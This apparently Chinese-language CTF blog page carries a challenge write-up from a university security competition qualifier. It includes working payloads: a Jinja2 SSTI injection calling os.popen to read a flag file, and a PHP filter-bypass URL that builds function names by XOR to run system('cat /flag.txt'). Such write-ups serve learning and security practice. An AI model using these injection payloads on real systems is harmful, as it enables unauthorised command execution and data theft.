突然发现柴鸡的我除了ssti其他都不会,嘤嘤嘤( •̥́ ˍ •̀ू )
之前写了一篇关于python ssti的文章,但在分析时过于肤浅地将重心放在python与flask上,从而完全忽视了对jinja2的深入探讨。实际上我们在flask中用{ {
与{ %
在进行执行python逃逸时并不是直接给python引擎处理,而是要先经过jinja2’渲染’一道.因此这是对之前不足的整理.
最近,跟着ctf-wiki的进度,在研究64位下ret2csu,发现对之前的Ret2Libc在64位中的用法及64位的函数有些误解导致ret2csu卡了好久.故写文以记之.
第十三届全国大学生信息安全竞赛-创新实践能力赛西南赛区选拔赛wp
扫一下目录,有个www.rar,解压审计一下代码,找到关键文件key.php
1 |
|
回调函数的rce,不过因为参数c过滤不严格,导致可以通过getheader来rce。
先var_dump(scand(“/“))找到flag文件,再用readfile读就可以了。
随便输入账户登录进去,fuzz一下,在每日报告的第三个参数存在ssti。过滤了些关键字,用globals来找就行。
payload:
1 | status_1=&status_2=&status_3={{url_for.__globals__.os.popen('cat /flag2333_canufindit').read()}} |
一个简单的命令执行,Ban一些符号与字符函数,可以通过重载函数的方法来调用。因此我们利用异或拼出GET然后调用system来rec。
Payload如下:
1 | `http://172.1.21.13/flag.php?search=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag.txt |
`